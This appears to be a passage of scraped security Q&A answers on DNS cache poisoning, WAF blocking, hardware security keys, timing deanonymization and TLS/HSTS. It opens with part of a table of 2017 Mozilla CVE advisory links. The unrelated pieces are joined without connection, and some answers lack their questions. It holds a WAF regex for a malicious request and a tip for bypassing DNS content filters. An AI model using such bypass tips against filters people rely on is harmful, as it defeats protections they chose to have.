| 153 | CVE-2017-7814  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7814 |
| 154 | CVE-2017-7815  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7815 |
| 155 | CVE-2017-7816  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7816 |
| 156 | CVE-2017-7817  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7817 |
| 157 | CVE-2017-7818  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7818 |
| 158 | CVE-2017-7819  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7819 |
| 159 | CVE-2017-7820  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7820 |
| 160 | CVE-2017-7821  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7821 |
| 161 | CVE-2017-7822  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7822 |
| 162 | CVE-2017-7823  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7823 |
| 163 | CVE-2017-7824  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7824 |
| 164 | CVE-2017-7825  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-21/#CVE-2017-7825 |
| 165 | CVE-2017-7826  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7826 |
| 166 | CVE-2017-7827  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7827 |
| 167 | CVE-2017-7828  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7828 |
| 168 | CVE-2017-7830  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7830 |
| 169 | CVE-2017-7831  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7831 |
| 170 | CVE-2017-7832  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7832 |
| 171 | CVE-2017-7833  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7833 |
| 172 | CVE-2017-7834  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7834 |
| 173 | CVE-2017-7835  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7835 |
| 174 | CVE-2017-7836  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7836 |
| 175 | CVE-2017-7837  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7837 |
| 176 | CVE-2017-7838  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7838 |
| 177 | CVE-2017-7839  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7839 |
| 178 | CVE-2017-7840  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7840 |
| 179 | CVE-2017-7842  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-24/#CVE-2017-7842 |
| 180 | CVE-2017-7843  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-27/#CVE-2017-7843 |
| 181 | CVE-2017-7844  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-27/#CVE-2017-7844 |
| 182 | CVE-2017-7845  | https://www.mozilla.org/en-US/security/advisories/mfsa2017-29/#CVE-2017-7845 |
* --------------------------------------------------------------------------------------------------- *


What kind of cache-related attacks exists on the Web?

There is a lot going on in the infrastructure that you shouldn't be worried about,  so long as you keep these systems up to date.  Browsers, proxies and other systems have gotten really smart over the years and if you asked this same question 10 years ago I would have given you a completely different answer.

DNS Cache Poisoning is a very serious vulnerability,  but so many of these have been found that its really difficult to preform this attack on a modern DNS server.

DNS Cache poisoning has a very similar impact to ARP table poisoning.  At the end of the day a table is just a type of cache.

Did you know that web browsers will encrypt cached copies of all HTTPS content?   That is really nice.  HTTP proxies are unable to cache this content so that is a good thing as long as you use https.  However the cache used by HTTP proxies can be poisoned using HTTP Response Splitting which can be a serious problem.


Strange request URI with lot of + (spaces) and "chosen nickname"

Your initial reaction is correct - this is a malicious request. The attack seems to be attempting to leverage an authentication bypass bug in a plugin, but I can't find which one. The attack seems to have been reasonably successful, since a large number of sites that show up on Google are now displaying pharma spam. I'd imagine the attacker is using a botnet or Tor to perform the attacks.

As far as mitigation goes, just block the requests with a firewall or WAF that supports pattern-based blocking. If you can do a regex pattern block, this will work as long as case sensitivity is disabled:

^\/warning\.php\+*Result:\+chosen\+nickname\+.*success;$


Are security keys with touch requirements more secure than those without?

Touch is the one thing
that cannot be forged
The idea with hardware security tokens is that secret crypto keys are stored on the token itself. Even if the computer/device it plugs into is compromised, the secret keys cannot be stolen.
Usually, PIN entry is required by the token in order to start performing cryptographic operations. For convenience/usability, the PIN is often cached for a period of time, not requiring re-entry during this time.
Imagine that you use your security token to sign code, decrypt secrets, or SSH into servers. Once the token is unlocked, any of these operations can take place without further user interaction.
Now imagine your computer is compromised. Once you've entered your PIN, the attacker may be able to perform the above cryptographic tasks using your token without your knowledge. Even if you require the PIN on every operation, the attacker could keylog or capture it, and possibly present it for unlock.
Here's where the touch feature comes in handy. By requiring a touch, the token won't perform any cryptographic operations without confirmation from the user physically sitting at the computer. Of course, it doesn't protect against a physical attack, but that's already game over.
Now, while this gives a layer of protection against inadvertent or malicious operations with your secret keys, a remote attacker is not necessarily foiled by it. They may still backdoor your tools to insert malicious code into signed commits, copy your decrypted secrets, and hijack your SSH client to gain access to your servers.
I'd guess that it provides little to no benefit if you are only using it to log in locally.


Deanonymizing users by introducing structured delays to the network?

This is a timing attack and the idea (including defenses against it) has been the subject of several academic papers.  The short answer to your question of "will this work and has it been used?" is "yes".  Some anonymity tools / networks (not sure if Tor does this) introduce their own latency and fake packets to make it harder (see "dependent link padding").

On the Effectiveness of Low Latency Anonymous Network
in the Presence of Timing Attack

How Much Anonymity does Network Latency Leak?

Impact of Network Topology on Anonymity and
Overhead in Low-Latency Anonymity Networks


Should I allow incoming traffic from source port 443?

I wouldn't.

Your attacker is already distributing scans across IP, which is much harder to do that distributing across ports. Blocking a port would only send you down a rabbit-hole (what happens if they change to port 80, 21, 1024....etc)

The real downside is that this could create future operational issues for you down the road, you never know when you might need some packets with source port 443.

Probably worthwhile to run a full scan of the box to see what open ports there are on it, before the attacker finds them.


Some very short sighted content-filtering systems rely upon DNS.   The advantage is that its very cheap to build such a content-filtering service,  and consumers are ignorant to the benefit of such a system.

Clearly this is easy to bypass,  8.8.8.8 and 8.8.4.4 are both DNS servers that will provide a uncensored resolution.


Do video games on Windows have vulnerabilities?

Yes, they can have vulnerabilities. Some gaming companies, such as Riot, have a page where you can report vulnerabilities.

Actual examples of vulnerabilities: Fortnite has been vulnerable to account takeover and man-in-the-disk (not on Windows, though). Untitled Goose Game had an RCE flaw.


Everything about an email message can be forged, or can be tampered with in transit.  The only headers you can trust are those put there by your server; the only content you can trust is that protected by a verified digital signature.  In the case of your pastebin file, if I'm understanding your description of your network setup correctly, lines 1 through 22 are trustworthy, lines 23 through 25 are probably trustworthy, and everything from line 26 on down is forged.

Email servers don't account for gaps in the headers because they don't need to.  Most email servers are designed on the Unix philosophy: do one thing, do it well, and provide a standard way to interface with other programs.  An email server's job is to move email from Point A to Point B; things like checking for gaps in the headers is the job of a spam filter.


Secure online server -> Airgap transport?

If you're really that paranoid about your air-gapped systems, you might want to consider using backup tapes.

They include no active part that could be exploited and aren't mounted as a standard file system so that limit the way the data they contain could be exploited.


What email addresses are treated as trusted?

It's a rather short list:
‘admin’, ‘administrator’, ‘webmaster’, ‘hostmaster’, or ‘postmaster’

Now that's the fixed and static list. But: contact info from WHOIS is also legal.

From the CAB-Forums' Baseline requirements, page 17:

  11.1.1 Authorization by Domain Name Registrant
  For each Fully-Qualified Domain Name listed in a Certificate, the CA SHALL confirm that, as of the date the
  Certificate was issued, the Applicant (or the Applicant’s Parent Company, Subsidiary Company, or Affiliate,
  collectively referred to as “Applicant” for the purposes of this section) either is the Domain Name Registrant or has
  control over the FQDN by: [...]

  Communicating directly with the Domain Name Registrant using the contact information listed in the
  WHOIS record’s “registrant”, “technical”, or “administrative” field;
  Communicating with the Domain’s administrator using an email address created by pre-pending ‘admin’,
  ‘administrator’, ‘webmaster’, ‘hostmaster’, or ‘postmaster’ in the local part, followed by the at-sign (“@”),
  followed by the Domain Name, which may be formed by pruning zero or more components from the
  requested FQDN;

Edit 2015-03-21: Entrust blog. Here's a nice blog entry with some backstory.
Bruce Morton, Entrust Identity ON Blog, 2015-03-20, What Happened with Live.fi? (Archived here.)

Interesting quote here:

  The attack we are talking about has been performed before in 2009. It was done to the RapidSSL CA where they provided fourteen email addresses for the subscriber to choose from. In this case the attack was also done against another Microsoft domain login.live.com where the subscriber registered sslcertificate@live.com, then requested the certificate using the email address they controlled. This created a security furor to limit the email addresses.

Edit 2015-03-24: WHOIS The "Baseline Requirements" also allow E-mail addresses from WHOIS records. I have updated this above.


Prevent my site to be sniffed and changed by man-in-the-middle-attacks

SSL/TLS only protects against data inflight, implementing it won't change the attacker's ability to directly attack the site.  TLS will protect against an attacker being able to see the data (confidentiality) and modify the data (integrity).  However, as you've discovered, it's possible for an attacker to actively MITM and present an invalid cert to the end user, and if the end user accepts it, then all bets are off.  HTTP Strict Transport Security (HSTS) can help prevent this by requiring that all future visits go over HTTPS, and may (depends on the browser) change the behavior of the browser when receiving an invalid certificate.  Chrome, for example, will not present a "continue anyway" button for a certificate error against an HSTS site.

All that being said, active attacks against SSL/TLS are relatively rare (sorry, no numbers to back that up at hand) and are hard to conduct on large scales (as they are usually close to the end user, so only get a small number of users).  Phishing, typo squatting, or other similar mechanisms are far more likely to cause you problems.

If you want to make password capture (whether via SSL/TLS stripping or interception, phishing, or otherwise) less valuable, implement strong two-factor authentication, such as HOTP or TOTP.


WordPress 4.7.2 Authentication Cookie Brute-force

Your question is about WP 4.7.2, but the current version is 4.8.1. Use the current version, always. My answer is for 4.8.1.

Simply put, the old hashing algorithm was md5 and the new algorithm uses sha256 (preferred) and sha1 if sha256 is not available.The updated code has increased the search space for brute forcing, which increases the time required to find a match. But, they are still generating these hashes based on predictable criteria.

So, yeah, brute forcing will now take longer (orders of magnitude longer), and under current computing power, it's probably computationally infeasible even though we are using predictable inputs.

I'm not a fan of them using predictable material to generate this hash or the cookie, because it significantly reduces the search space. But, it's certainly better than it was. And, since the site is Wordpress, the only thing you can really do is keep it updated.

In looking at this code, by the way, it seems that they did not update the use of MD5 hashes elsewhere. Granted, hmac with salt is significantly more secure than just an MD5, but MD5 is very broken, and it seems to me that the computational cost of using SHA1 over MD5 is negligible. Not sure why they didn't update all hashes to at least SHA1 if not SHA256.